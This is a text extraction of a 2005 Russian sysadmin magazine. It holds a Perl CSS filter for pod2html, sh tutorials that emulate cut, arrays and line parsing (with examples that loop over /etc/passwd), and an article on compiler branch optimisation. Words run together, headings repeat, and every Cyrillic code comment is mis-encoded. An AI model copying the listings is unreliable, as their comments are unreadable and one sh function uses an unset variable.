Как видите, вся его работа заключается в том, что онвставляет CSS-таблицу перед тегом </head>. Практическивсё его тело тоже составляет CSS-таблица.

Кстати, использование такого скрипта полностью осво-бождает вас от необходимости указывать в POD-файлекакие-либо дополнительные конструкции (типа =for html).

После пропускания HTML-документа через этот фильтр,вид его кардинально изменится. Вот фрагмент:

Предполагая, что читатель знаком с CSS, остановлюсьтолько на особенностях моей CSS-таблицы.

Первый элемент просто оговаривает вид ссылок. Нарисунке их нет, но поверьте, они становятся зелёными.

Второй элемент таблицы определяет вид заголовков.Обратите внимание, что мы задаём не просто стиль заго-ловков, а заголовков-ссылок. Это делается не случайно. Приформировании HTML-документа система POD делает мно-гие части документа (в том числе и заголовки) якорями ги-перссылок на случай, если на них потребуется сослатьсяиз другого документа. Поэтому в формате HTML заголовкиоформляются следующим образом:

Теперь становится ясно, что если мы опишем толькодействие тега h1, то заголовок будет оформлен всё равнопо правилам оформления ссылок (тег a). То есть в нашемслучае заголовок унаследовал бы от ссылок зелёный цвет.Чтобы добиться желаемого результата – задать формати-рование заголовков – нам следует описать действие парытегов h1 и a, что мы и делаем. По той же причине мы опи-сываем не тег dt, а всю связку dt-strong-a. Это стиль длямаркеров списков. Тегом code снабжаются фрагменты кода(C<...>). Я задал для этих элементов сероватый фон.

Для абзацев оговорено выравнивание по обоим сторо-нам колонки.

Тегом pre оформляются неформатированные абзацы.Я, как можно видеть из картинки и как описано в CSS-таб-лице, задал для этих частей документа рамку и жёлтый фон.

Конечно, вы можете задать любые стили, шрифты, вы-равнивания, отступы, цвета; главное при этом учитыватьструктуру документа, формируемого pod2html, чтобы стильссылок не конфликтовал с другими стилями.

Продолжение следуетВ следующем номере я опишу процедуру конвертированияPOD-документов в форматы PostScript и PDF. Коснусь кон-вертирования в такие форматы, как Microsoft Word Documentи RTF. Расскажу о средствах автоматической проверки пра-вильности POD-синтаксиса. И поделюсь своими мыслямио перспективах развития POD и о том, каких усовершен-ствований можно ждать от будущих версий.

=for html <link rel="stylesheet" href="file.css" type="text/css">

pod2html --css file.css file.pod >file.html

#!/usr/bin/perlundef $/;$_=<>;s|</head>|<style type="text/css"><!--a { font-family: sans-serif; weight: bold; text-decoration: none; color: #090;}h1 a, h2 a{ color: #C00; font-family: sans-serif;}dt strong a{ color: #900;}code { background: #ccc; font-weight: bold;}p { text-align: justify;}pre { background: #ffe; border-width: 3px; border-style: solid; border-color: #ddc #443 #443 #ddc;}// --></style></head>|;print;

<h1><a name="ÿêîðü">òåêñò çàãîëîâêà</a></h1>

Page 84: 028 Системный Администратор 03 2005

82

программирование

Эта статья описывает нетривиальные способы использо-вания программной оболочки sh для создания скриптов.Например, реализацию на sh простого аналога grep.

Зачем это нужно? В случае, если вы крайне ограниче-ны в дисковом пространстве или объеме памяти, которыевы можете использовать для прикладных программ. В моейситуации при создании системы на базе PicoBSD свобод-ного места на дискете было крайне мало, чтобы записатьтуда стандартные утилиты. Все скрипты рассчитаны и пи-сались для использования в PicoBSD/FreeBSD и использу-ют возможности стандартного интепретатора /bin/sh.

Реализация шаблонов(regular expression) в shИногда бывает необходимо сравнить текстовые данные сшаблоном или выделить оттуда какую-то часть. Для этогообыкновенно используются sed, awk или perl – в зависимо-сти от пристрастий программиста и сложности задачи. Од-нако когда вы ограничены объемом памяти, для простых за-дач крайне нецелесообразно использовать отдельные ути-литы. Перед дальнейшим чтением обязательно ознакомь-тесь с разделом Parameter Expansion в руководстве по sh(1).

Ниже приведены примеры, как эмулировать утилиту cutпри помощи скриптов и функций sh.

Все описанные функции возвращают результат в гло-бальной переменной result. В случае удачного завершениякод выхода у функций равен 0, и имеет ненулевое значе-ние, если произошла ошибка. Если результат функции неопределен или функция ничего не возвращает, то она при-сваивает переменной result пустую строку.

cut_atomicФункция cut_atomic сканирует строку слева и удаляет всесимволы от первого вхождения разделителя до конца стро-ки. Первый аргумент функции – собственно сам раздели-тель. Это может быть один символ, класс символов (character

class, задается при помощи квадратных скобок [ ]) или стро-ка. Все последующие аргументы воспринимаются как стро-ка, которая должна быть обработана. Если передавать стро-ку без использования одинарных('') или двойных кавычек(«»),то sh сам разобъет ее на подстроки, используя свой разде-литель входных полей (задается в переменной IFS), что невсегда желательно. Шаблоны в sh всегда «жадные», т.е. пы-таются соответствовать максимальному количеству симво-лов, поэтому если вы передаете как разделитель символ *,результаты могут быть непредсказуемые. Знак «?» можноиспользовать в разделителе для обозначения любого сим-вола.

В данном случае запись ${переменная%%шаблон} уда-ляет наибольший возможный суффикс из строки – то естьостаются только символы с начала строки до первого вхож-дения разделителя.

Аналог cut(1)Функция cut работает аналогично вызову утилиты:

Входная строка разбивается на подстроки с использо-ванием $разделитель, после чего возвращаются поля с но-мерами от ${начальное_поле} до ${конечное_поле}. Первыйаргумент функции – разделитель полей, второй и третийпараметры – номер начального и конечного поля. Все ос-

ПРОГРАММИРОВАНИЕ НА SHELLВ ЭКСТРЕМАЛЬНЫХ УСЛОВИЯХ

ГАСПАР ЧИЛИНГАРОВ

cut_atomic () {local DELIM STRING

# ðàçäåëèòåëü ìîæåò áûòü ëþáîé ñòðîêîé, íå òîëüêî îäèí ñèìâîëDELIM="$1"shift

# îñòàâøèåñÿ àðãóìåíòûSTRING=$*result=${STRING%%${DELIM}*}return 0

}

cut -d${ðàçäåëèòåëü} -f${íà÷àëüíîå_ïîëå} -${êîíå÷íîå_ïîëå}

Page 85: 028 Системный Администратор 03 2005

83№3, март 2005

программирование

тавшиеся аргументы – обрабатываемая строка. Функция чутьудобнее в использовании, чем утилита cut, так как в каче-стве разделителя может использоваться не только одинсимвол, но и строка или шаблон. Если вам нужно получитьтолько одно поле, следует задать одинаковый начальный иконечный индекс.

Выделение позиционных параметровМожно использовать функцию set для того, чтобы заменитьсписок аргументов для данного блока команд и получитьдоступ к позиционным параметрам $1, $2 и так далее. Един-ственный недостаток такого способа – это невозможностьизбежать раскрытия символов подстановки (wildcards).

Небольшой пример, как можно использовать этот при-ем для того, чтобы получить первые 3 байта из MAC-адре-са (код производителя). Переменная IFS (input field separator)определяет символ или подстроку, которые будут исполь-зоваться для разбиения строки на поля.

Проверка на соответствие шаблонуИногда необходимо проверить соответствие строки неко-торому шаблону. Одно из основных применений – провер-ка входных данных. Единственный способ в shell, которыйпозволяет проверить, соответствует данная строка шабло-ну или нет, – это использование оператора case. Для удоб-ства можно создать вокруг него обертку – «wrapper».

Первый аргумент для функции match_pattern – это шаб-лон, которому должна соответствовать строка, а все остав-шиеся аргументы – это обрабатываемая строка. Функцияmatch_pattern_strict требует, чтобы вся строка соответство-вала заданному шаблону, а match_pattern мягче – она тре-бует совпадения с шаблоном лишь части строки. Будьте вни-мательны – чаще всего вам придется заключать шаблон водинарные или двойные кавычки, чтобы sh не раскрывалсимволы подстановки «*» и «?» в шаблоне перед тем, какпередать его функции.

Например, для частичной проверки правильности вво-да IPv4-адреса можно использовать следующий шаблон:

Правда, этот шаблон ошибочно сочтет строку «127.0.0.0.0.1» правильной, поскольку лишние байты в таком адре-се будут соответствовать любому из символов «*» в шаб-лоне. Для точной проверки следует использовать прием скомандой set и проверять каждый байт по отдельности.

Организация массивов в shОдин из существенных недостатков sh, который делает егонеудобным для программирования, это отсутствие масси-

cut () {local DELIM POS1 POS2 STRING STR1 POSTFIXDELIM="$1" # ðàçäåëèòåëüPOS1=$2 # íà÷àëüíûé èíäåêñPOS2=$3 # êîíå÷íûé èíäåêñshift 3STRING=$* # îñòàâøèåñÿ ïàðàìåòðû ôóíêöèè# åñëè êîíå÷íûé èíäåêñ ìåíüøå íà÷àëüíîãî,# âîçâðàùàåì îøèáêóif [ $POS2 -lt $POS1 ]; then

result=""return 1 # êîä âûõîäà > 0

fi# óäàëÿåì ïåðâûå ${POS1}-1 ýëåìåíòîâ èç ñòðîêèI=1while [ $I -lt $POS1 ]; do

STRING=${STRING#*${DELIM}}I=$(($I+1))

doneSTR1="$STRING" # çàïîìèíàåì ðåçóëüòàò# óäàëÿåì âñå ýëåìåíòû âïëîòü äî ïîñëåäíåãî ýëåìåíòà,# êîòîðûé íàì íóæåí, îò ñòðîêè îñòàâëÿåì ñóôôèêñ,# ñîñòîÿùèé èç íåíóæíûõ ýëåìåíòîâwhile [ $I -le $POS2 ]; do

STRING=${STRING#*${DELIM}}I=$(($I+1))

done# ó íàñ óæå åñòü íåíóæíûé ñóôôèêñ ñ ïåðåìåííîé# STRING, óäàëÿåì åãî èç çàïîìíåííîãî ðåçóëüòàòàresult=${STR1%${DELIM}${STRING}}return 0

}

extract_manufacturer () {# îïðåäåëÿåì IFS êàê ëîêàëüíóþ ïåðåìåííóþ, ÷òîáû# åå èçìåíåíèå íå âëèÿëî íà äðóãèå ôóíêöèè

local STR IFS# çàïîìèíàåì âñå àðãóìåíòû ôóíêöèè â STR

STR=$*# óñòàíàâëèâàåì â êà÷åñòâå ðàçäåëèòåëÿ ñèìâîë ':'

IFS=':'# ïðèñâàèâàåì ïîçèöèîííûì ïàðàìåòðàì ñîäåðæèìîå STR

set -- $STRresult="$1:$2:$3"return 0

}# ïðèìåð èñïîëüçîâàíèÿ ôóíêöèèS=`ifconfig fxp0` # ïîëó÷èòü ðåçóëüòàò ðàáîòû êîìàíäû ifconfigS=${S##*ether} # ñòåðåòü âïëîòü äî êëþ÷åâîãî ñëîâà ether

match_pattern_strict () {local PATTERN STRING

# äâîéíûå êàâû÷êè îáÿçàòåëüíû, ÷òîáû íå ïðîèñõîäèëî# ðàñêðûòèå ñèìâîëîâ ïîäñòàíîâêè

PATTERN="$1"shiftSTRING=$*result=""case "$STRING" in$PATTERN) # ïîëíîå ñîîòâåòñòâèå øàáëîíó

return 0esacreturn 1

}match_pattern() {

local PATTERN STRINGPATTERN="$1"shiftSTRING=$*result=""case "$STRING" in*${PATTERN}*) # ïðîâåðÿåòñÿ ñîîòâåòñòâèå øàáëîíó

return 0 # ÷àñòè ñòðîêèesacreturn 1

}

match_pattern_strict '[0-9]*.[0-9]*.[0-9]*.*[0-9]' 192.168.0.1

extract_manufacturer "$S"echo "manufacturer code: $result"

Page 86: 028 Системный Администратор 03 2005

84

программирование

вов – ассоциативных или индексированных. Особенно ост-ро ощущается отсутствие двумерных массивов. В загрузоч-ных скриптах PicoBSD я подглядел интересный способ эму-лировать массивы в sh. Ниже представлен несколько мо-дифицированный вариант.

Предположим, что мы хотим организовать двухмерныймассив с именем foo. Первый индекс будет цифровой –0,1,..,N, а второй индекс – любая строка без пробелов. Тоесть мы получим элементы массива foo[0][A],foo[0][bar],foo[0][extra],..., foo[10][A],foo[10][bar],foo[10][another] и так да-лее.

Предположим также, что элементы с индексом «А» ни-когда не могут иметь нулевое значение (пустую строку) ивыберем их в качестве ключа в ассоциативном массиве.Для хранения каждого элемента массива мы создадим со-ответственно переменные в sh – foo_0_A, foo_0_bar,foo_0_extra, ..., foo_10_A, foo_10_bar,foo_10_another и т. д.

В каждой строке массива должен быть элемент, играю-щий роль ключа, и любое количество элементов, в которыххранятся данные. Количество дополнительных элементовв каждой строке может быть произвольным. После этогоможно создать несколько функций для удобной работы стаким представлением данных.

Функция arr_count возвращает количество элементов вмассиве. Первый аргумент функции – название массива(фактически префикс для именования переменных), вто-рой аргумент – название ключа в массиве.

Конструкция [ «x$VAL» = «x» ] обеспечивает коррект-ное сравнение, если $VAL будет иметь пустое значение.Если написать [ $VAL = «» ], то при пустой переменной $VARэто будет раскрыто оболочкой в конструкцию [ = «» ], чтоприведет к ошибке.

Надо либо писать [ «$VAL» = «» ], либо просто приучитьсебя к [ «x$VAL» = «x» ], что переносимо на большее коли-чество платформ/версий sh.

Для формирования имени переменной динамически при-ходится использовать команду оболочки eval. Сперва sh под-ставляет значение ARRNAME, I и KEYNAME и получает:

после чего интерпретирует получившуюся команду присво-ения.

Символ «\» обязательно должен присутствовать, иначеsh будет выдавать ошибки.

Функция arr_lookup_by_key позволяет обратиться к эле-менту ассоциативного массива, зная значение ключа. Онаполучает 4 аргумента – имя массива, имя поля, в которомхранится ключ, имя поля, значение которого нужно полу-чить и значение ключа. Код выхода не равен нулю, если небыл найден ключ с таким значением.

Функция arr_lookup_by_index позволяет получить значе-ние поля, зная численный индекс.

На вход передается 4 элемента – имя массива, имя поля,в котором хранится ключ, имя поля, значение которого нуж-но получить, и индекс. Если элемента с таким индексомнет – т.е. поле ключа пустое, функция завершается с ко-дом выхода 1. В противном случае значение поля возвра-щается в переменной result.

Функция arr_set_by_index используется для добавленияданных в массив. При этом одновременно устанавливает-ся и значение ключа, и значение поля, которое ему соот-ветствует.

# ïîñ÷èòàòü êîëè÷åñòâî ýëåìåíòîâ â ìàññèâå# arr_count ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×Àarr_count () {

local ARRNAME KEYNAME VAL IARRNAME=$1 # èìÿ ìàññèâàKEYNAME=$2 # èìÿ êëþ÷à â ìàññèâåI=0result=""

# îñíîâíàÿ ìàãèÿ ïðîèñõîäèò çäåñü � â êîìàíäå eval# ôîðìèðóåòñÿ ïðàâèëüíîå íàçâàíèå ïåðåìåííîé,# êîòîðàÿ ñîîòâåòñòâóåò ýëåìåíòó ìàññèâà

eval VAL=\${${ARRNAME}_${I}_${KEYNAME}}if [ "x$VAL� = "x" ];then# åñëè ïåðâûé æå êëþ÷ ïóñòîé (ò.å. foo[0][A])# ìû ïðåäïîëàãàåì, ÷òî òàêîé ìàññèâ íå ñóùåñòâóåò

return 1fiwhile [ "x$VAL" != "x" ] ; do

I=$(($I+1))eval VAL=\${${ARRNAME}_${I}_${KEYNAME}}

doneresult=$Ireturn 0

}

eval VAL=\${foo_1_bar},

# array_name ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß# ÇÍÀ×ÅÍÈÅ_ÊËÞ×Àarr_lookup_by_key () {

local i array kfield vfield kvalue key valuearray=$1kfield=$2vfield=$3kvalue=$4i=0result=""key="x" # ïðèíóäèòåëüíî çàñòàâèì öèêë âûïîëíèòñÿ

# õîòÿ áû 1 ðàçwhile [ "$key" != "" ]; do

# êîíñòðóèðóåì èìÿ ïåðåìåííîéeval key=\${${array}_${i}_${kfield}}# åñëè çíà÷åíèå êëþ÷à ñîâïàëî, âîçâðàùàåì çíà÷åíèåif [ "$key" = "$kvalue" ]; then

# êîíñòðóèðóåì èìÿ âîçâðàùàåìîãî ïîëÿeval result=\${${array}_${i}_${vfield}}

return 0fii=$(($i+1))

done# öèêë çàêîí÷èëñÿ � ñëåäîâàòåëüíî òàêîãî çíà÷åíèÿ# êëþ÷à íåòreturn 1

}

# arr_lookup_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß# ÈÍÄÅÊÑarr_lookup_by_index () {

local i array index vfield value kfieldarray=$1kfield=$2vfield=$3kvalue=$4eval key=\${${array}_${index}_${kfield}}if [ "$key" = "" ]; then

# âîçâðàòèòü êîä îøèáêè, ò.ê. îáíàðóæåí ïóñòîé êëþ÷return 1

fieval result=\${${array}_${index}_${vfield}}return 0

}

Page 87: 028 Системный Администратор 03 2005

85№3, март 2005

программирование

Функция arr_set_by_key используется для добавления илиизменения данных в массиве по существующему ключу.

Таким образом, для добавления нового элемента в мас-сив нужно сперва вызвать аrr_count, получить количествосуществующих строк и потом добавить в конец массива но-вую строку. После этого можно установить уже все остав-шиеся поля массива, обращаясь не по индексу, а по ключу.

Построчная обработка файловКак правило, если нужно обработать файл построчно, раз-бивая каждую строку на поля, используется awk или perl.Но не всегда под руками есть эти программы, поэтому мож-но попытаться сэмулировать их, имея только sh.

Воспользуемся способностью команды read разбиватьвходные данные по разделителю и приписывать значенияподстрок переменным. В случае окончания потока read вы-дает ненулевой код выхода, поэтому ее можно использо-вать так же, как условие окончания цикла.

Пример скрипта для построчного чтения файла /etc/passwd.

При перенаправлении надо проявить аккуратность. Еслиперенаправить поток на вход команды read, a не на входблока while, скажем вот так:

то цикл будет выполняться бесконечное число раз, т.к. накаждой итерации команда read будет читать первую строч-ку файла.

Другая задача, которая часто встречается, – обработкарезультатов выполнения другой команды. Если использо-вать конвейерную обработку(pipelines) в sh, то можно по-пытаться написать следующий кусок кода:

Мы будем получать правильно разбитые на поля запи-си, однако последняя команда выдаст количество строкравным 0. На первый взгляд это странно, но если вспом-нить, что все команды внутри блока while; do ...; done вы-полняются в отдельном дочернем процессе sh, чтобы воз-можно было бы перенаправить туда результат выполненияконвеера, то тогда все становится на свои места. Передатьпеременные из дочернего процесса в основной процесс shневозможно. Поэтому придется переписать этот код так,чтобы тело цикла while выполнялось в контексте основногопроцесса. Для этого можно использовать here-doc-текст иподставлять туда результат выполнения команды при по-мощи обратных кавычек (backtricks, ``).

Таким образом мы переместили выполнение предыду-щих команд конвейера в отдельный(ые) процесс(ы), а ихрезультат будет передаваться на стандартный ввод (stdin)блока while. После этого команда while правильно посчита-ет количество строк в файле. Также можно объединить вhere-doc результат выполнения нескольких команд или дажепоместить туда какие-то статические данные.

Таким образом, используя приведеные выше приемы,можно заменить часто используемые утилиты на их анало-ги, написанные на sh. Особенно актуально эта задача сто-ит при создании образа системы, загружаемой с дискеты,или с твердотельных носителей (например, Compact Flash).Описанные функции могут облегчить создание скриптов дляконфигурации и интерактивной настройки таких систем. Сдругой стороны, используя встроенные возможности sh,можно ускорить выполнение скриптов, поскольку запусквнешних утилит может быть существенно медленее, чемвызов определенной пользователем функции sh.

# arr_set_by_key ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß# ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËßarr_set_by_key() {

local i array kfield vfield kvalue vvaluearray=$1kfield=$2vfield=$3kvalue=$4shift 4vvalue=$*result=""i=0eval key=\${${array}_${i}_${kfield}}while [ "x$key" != "x" ]; do

eval key=\${${array}_${i}_${kfield}}if [ "x$key" = "x$kvalue" ]; then

breakfii=$(($i+1))

donearr_set_by_index $array $kfield $vfield $i $kvalue $vvaluereturn 0

}

IFS=:i=0while read name pass uid gid gcos homedir shell junk; do

echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|"i=$(($i+1))

done < /etc/passwdecho "total lines: $i"

while read name pass uid gid gcos homedir shell junk ↵↵↵↵↵< /etc/passwd; do...

done

cat /etc/passwd | while read name pass uid gid gcos ↵↵↵↵↵homedir shell junk; doecho "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|"i=$(($i+1))

doneecho "total lines: $i"

IFS=:i=0while read name pass uid gid gcos homedir shell junk; do

echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|"i=$(($i+1))

done <<EOF`cat /etc/passwd | head`EOF

# arr_set_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß# ÍÎÌÅÐ_ÈÍÄÅÊÑÀ ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËßarr_set_by_index() {

local i array kfield vfield index kvalue valuearray=$1kfield=$2vfield=$3index=$4kvalue=$5shift 5vvalue=$*i=0result=""eval ${array}_${index}_${kfield}=${kvalue}eval ${array}_${index}_${vfield}=${vvalue}return 0

}

Page 88: 028 Системный Администратор 03 2005

86

программирование

Оптимизация ветвлений/branchВетвления (по-английски branch, они же условные/безуслов-ные переходы) относятся к фундаментальным основам лю-бого языка, без которых не обходится ни одна программа.Даже «hello, world!»! Ведь выход из функции main – это тожеветвление, пусть и неявное (однако ж процессор синтакси-сом языка не проведешь!). А сколько ветвлений содержитсама функция printf? А библиотека времени исполнения?

Суперскалярные микропроцессоры, построенные поконвейерной архитектуре (а все современные микропроцес-соры именно так и устроены), быстрее всего выполняют ли-нейный код и ненавидят ветвления. В лучшем случае онидезориентируют процессор, слегка приостанавливая выпол-нение программы, в худшем же – полностью очищают кон-вейер. А на последних Pentium он очень длинный (и с каж-дой последующей моделью становится все длиннее и длин-нее). Быстро его не заполнишь… на это может уйти не однасотня тактов, что вызовет обвальное падение производитель-ности.

Оптимизация переходов дает значительный выигрыш,особенно если они расположены внутри циклов (кстати го-воря, циклы – это те же самые переходы), поэтому качествокомпилятора не в последнюю очередь определяется его уме-нием полностью или частично избавляться от ветвлений.

Выравнивание переходовПроцессоры, основанные на ядрах Intel P6 и AMD K6, не тре-буют выравнивания переходов, за исключением того случая,когда целевая инструкция или сама команда перехода рас-щепляются границей кэш-линейки пополам, в результате чегонаблюдается значительное падение производительности.Наибольший ущерб причиняют переходы, находящиеся вциклах с компактным телом и большим уровнем вложения.

Чтобы падения производительности не происходило, не-которые компиляторы прибегают к выравниванию, распола-гая инструкции перехода по кратным адресам и заполняютобразующиеся «дыры» незначащими инструкциями, такимикак XCHG EAX, EAX (обмен содержимого регистров EAX ме-стами) или MOV EAX, EAX (пересылка содержимого EAX вEAX). Это увеличивает размер кода и несколько снижаетего производительность, поэтому бездумное (оно же «аг-рессивное») выравнивание только вредит.

Легко показать, что машинная команда требует вырав-нивания в тех, и только тех случаях, когда условие:

становится истинным. Здесь: addr – линейный адрес инст-рукции, cache_len размер кэш-линейки (в зависимости оттипа процессора равный 32, 64 или 128 байтам), ops – самамашинная инструкция. Количество выравнивающих байт рас-считывается по формуле:

Именно так поступают все программисты, владеющиеАссемблером, но только не компиляторы! MSVC и icl вооб-ще не выравнивают переходов, а gcc выравнивает целе-вую инструкцию на фиксированную величину, кратную сте-пени двойки (т.е. 2, 4, 8…), что является крайне неэффек-тивной стратегией, однако даже плохая стратегия все желучше, чем совсем никакой. Кстати говоря, именно по этойпричине, компиляторы msvc и icl генерируют неустойчивыйкод, точнее код с «плавающей» производительностью, бы-стродействие которого главным образом зависит от того,расщепляются ли глубоко вложенные переходы или нет. А

ТЕХНИКА ОПТИМИЗАЦИИ ПОД LINUXЧАСТЬ II – ВЕТВЛЕНИЯ

ТЕХНИКА ОПТИМИЗАЦИИ ПОД LINUXЧАСТЬ II – ВЕТВЛЕНИЯ

КРИС КАСПЕРСКИ

Сегодня мы продолжимсравнение Linux-компиляторов,

начатое в прошлом номере журнала,и рассмотрим оптимизацию условных

переходов и операторов типа switch.Механизмы их трансформации достаточно

многочисленны и разнообразны. За последнеевремя было предложено множество новых идей,

воплощенных в компиляторах GCC 3.3.4и Intel C++ 8.0 (сокращенно icl), однако древний

Microsoft Visual C++ 6.0 (сокращенно msvc)не сдает своих позиций, так что не спешитесписывать его в утиль и сдавать на свалку.

Сегодня мы продолжимсравнение Linux-компиляторов,

начатое в прошлом номере журнала,и рассмотрим оптимизацию условных

переходов и операторов типа switch.Механизмы их трансформации достаточно

многочисленны и разнообразны. За последнеевремя было предложено множество новых идей,

воплощенных в компиляторах GCC 3.3.4и Intel C++ 8.0 (сокращенно icl), однако древний

Microsoft Visual C++ 6.0 (сокращенно msvc)не сдает своих позиций, так что не спешитесписывать его в утиль и сдавать на свалку.

((addr % cache_len + sizeof(ops)) > cache_len)

(cache_len - (addr % cache_len))

Page 89: 028 Системный Администратор 03 2005

87№3, март 2005

программирование

это в свою очередь зависит от множества трудно прогнози-руемых обстоятельств, включающих фазу луны и количе-ство осадков.

Учитывая, что средняя длина x86-инструкций составляет3.5 байта, целесообразнее всего выравнивать переходы погранице четырех байт (ключ -falign-jumps=4 компилятора gcc).Ключ -fno-align-jumps (или эквивалентный ему -falign-jumps=1)отключает выравнивание. Ключ falign-jumps=0 задейству-ет выравнивание по умолчанию, автоматически выбирае-мое компилятором в зависимости от типа процессора.

Частичное вычисление условий«Летят два крокодила – один квадратный, другой тоже насевер», – вот хороший пример техники быстрого булевоговычисления (оно же «частичное вычисление условий»,«Partial evaluation of test conditions» или «short-circuiting»).Собственно, ничего «быстрого» в нем нет. Если первое изнескольких условий, связанных оператором AND, ложно (гдевы видели квадратных крокодилов?), остальные уже не вы-числяются. Соответственно если первое из нескольких ус-ловий, связанных оператором OR, истинно, вычислять ос-тальные нет нужды. Это значит, что в выражениях вида(1 || f(x)) или (0 && f(x)) функция f(х) просто не вызывается.

И это отнюдь не свойство оптимизатора (как утвержда-ют некоторые рекламные буклеты), а требование языка, безкоторого ветвления вида: if (x && (y/x)) были бы невозмож-ны, поскольку вычислять значение выражения (y/x) можнотогда и только тогда, когда x=!0, т.е. выражение (x) истин-но. В противном случае процессор выбросит исключение ивыполнение программы будет остановлено. Поэтому такаястратегия поведения сохраняется даже при отключенномоптимизаторе. Все три рассматриваемых компилятора под-держивают быстрое булевое вычисление.

Удаление избыточных проверокНебрежное кодирование часто приводит к появлению избы-точных или даже заведомо ложных проверок, полностью иличастично дублирующих друг друга, например: «if (a > 9) …if (a > 6)…». Очевидно, что вторая проверка лишняя и iclблагополучно удаляет ее. Остальные рассматриваемыекомпиляторы такой способностью не обладают, послушногенерируя следующий код.

Удаление проверок нулевых указателейПрограммисты до сих пор не могут определиться, кто дол-жен осуществлять проверку аргументов – вызывающая иливызываемая функция. Многие стандарты кодирования пред-писывают выполнять такую проверку обеим:

Лишние проверки увеличивают размер кода и замедля-ют его выполнение (особенно если находятся глубоко в цик-ле), поэтому компилятор gcc поддерживает специальныйключ, fdelete-null-pointer-checks, «вычищающий» их из про-граммы. Вся соль в том, что x86-процессоры (как и боль-шинство других) на аппаратном уровне отслеживают обра-щения к нулевым указателям, автоматически выбрасываяисключение, если такое обращение действительно про-изошло. Поэтому, если проверке на «легитимность» указа-теля предшествует операция чтения/записи по нему, этупроверку можно не выполнять.

Рассмотрим, листинг 5. Сначала проходит проверка ука-зателя (проверка №1), потом в него записывается число0x69, и указатель передается функции f1, выполняющей по-вторную проверку (проверка №2). Компилятор видит, чтовторая проверка осуществляется уже после обращения куказателю (естественно, чтобы он мог это осознать, функ-ция f1 должна быть встроенной или задействован режимглобальной оптимизации) и рассуждает так: если операцияприсвоения *p = 0x69 проходит успешно и процессор невыбрасывает исключения, то указатель p гарантированноне равен нулю, и в проверке нет никакой нужды. Если жеуказатель равен нулю, тогда при обращении к нему про-цессор выбросит исключение и до проверки дело все рав-но не дойдет.

Так зачем же тогда ее выполнять? Компиляторы msvc иicl такой техники оптимизации не поддерживают. Правда, врежиме глобальной оптимизации, icl может удалять несколь-ко подряд идущих проверок (при встраивании функций этопроисходит достаточно часто), поскольку это является час-тным случаем техники удаления избыточных проверок, од-нако ситуацию «проверка/модификация указателя/обраще-ние к указателю/проверка» icl уже не осилит. А вот gccсправляется с ней без труда!

Совмещение проверокСовмещение проверок очень похоже на повторное исполь-зование подвыражений: если одна и та же проверка при-сутствует в двух или более местах и отсутствуют паразит-ные зависимости по данным, все проверки можно объеди-нить в одну:

Ëèñòèíã 2. Åñëè âûðàæåíèå (a == b) èñòèííî, âûðàæåíèå(c == d) óæå íå ïðîâåðÿåòñÿif ((a == b) || (c == d))�

Ëèñòèíã 3. Íåîïòèìèçèðîâàííûé âàðèàíòif (n > 10) a++; else return 0;if (n > 5) a++; else return 0; // èçáûòî÷íàÿ ïðîâåðêàif (n < 2) a++; else return 0; // çàâåäîìî ëîæíà ïðîâåðêàËèñòèíã 4. Îïòèìèçèðîâàííûé âàðèàíòif (n > 10) a+=2; else return 0;

Ëèñòèíã 1. Ôîðìóëà äëÿ ðàñ÷åòà îïòèìàëüíîé êðàòíîñòèâûðàâíèâàíèÿ äëÿ ïðîöåññîðîâ Intel Pentium II è âûøåif ((addr % cache_len + sizeof(ops)) > cache_len)

align = cache_len � (addr % cache_len);

Ëèñòèíã 5. Íåîïòèìèçèðîâàííûé âàðèàíòf1(int *p){

// ïðîâåðêà ¹2// (ìîæåò áûòü óäàëåíà êîìïèëÿòîðîì// ò.ê. åé ïðåäøåñòâîâàëà çàïèñü ïî óêàçàòåëþ)if (p) return *p+1; else return �1;

}f2(int *p){

// ïðîâåðêà ¹1/çàïèñü ïî óêàçàòåëþif (p) *p = 0x69; else return -1;return f1(p);

}

Page 90: 028 Системный Администратор 03 2005

88

программирование

Из всех трех компиляторов совмещать проверки умееттолько icl, да и то не всегда.

Сокращение длины маршрутаЕсли один условный или безусловный переход указываетна другой безусловный переход, то все три рассматривае-мых компилятора автоматически перенаправляют первыйцелевой адрес на последний, что и демонстрирует следую-щий пример:

Разумеется, оператор goto не обязательно должен при-сутствовать в программном коде в явном виде. Он вполнеможет быть «растворен» в цикле:

После оптимизации этот код будет выглядеть так:

Аналогичным способом осуществляется и оптимизацияусловных/безусловных переходов, указывающих на другойусловный переход. Вот, посмотрите:

Заметим, что в силу ограниченной «дальнобойности»(см. врезку «Трансляция кротких условных переходов») ус-ловных переходов, в некоторых случаях длину цепочки при-ходится не только уменьшать, но и увеличивать, прибегаяк следующему трюку:

Условный или безусловный переход, указывающий навыход из функции, заменяется всеми тремя компиляторамина непосредственный выход из функции, при условии, чтокод-эпилог достаточно мал и накладные расходы на его дуб-лирование невелики:

Уменьшение количества ветвленийВсе три компилятора просматривают код в поисках услов-ных переходов, перепрыгивающих через безусловные(conditional branches over unconditional branches) и оптими-зируют их: инвертируют условный переход, перенацеливаяего на адрес безусловного перехода, а сам безусловныйпереход удаляют, уменьшая тем самым количество ветв-лений на единицу:

Ëèñòèíã 6. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 ïðîâåðêèif (CPU_TYPE == AMD) // ïðîâåðêà

x = AMD_f1(y);else

x = INTEL_f1(y);�if (CPU_TYPE == AMD) // åùå îäíà ïðîâåðêà

a = AMD_f2(b);else

a = INTEL_f2(b);Ëèñòèíã 7. Îïòèìèçèðîâàííûé âàðèàíò, òîëüêî îäíà ïðîâåðêàif (CPU_TYPE == AMD) // òîëüêî îäíà ïðîâåðêà{

x = AMD_f1(y);a = AMD_f2(b);

}else

{x = INTEL_f1(y);a = INTEL_f2(b);

}

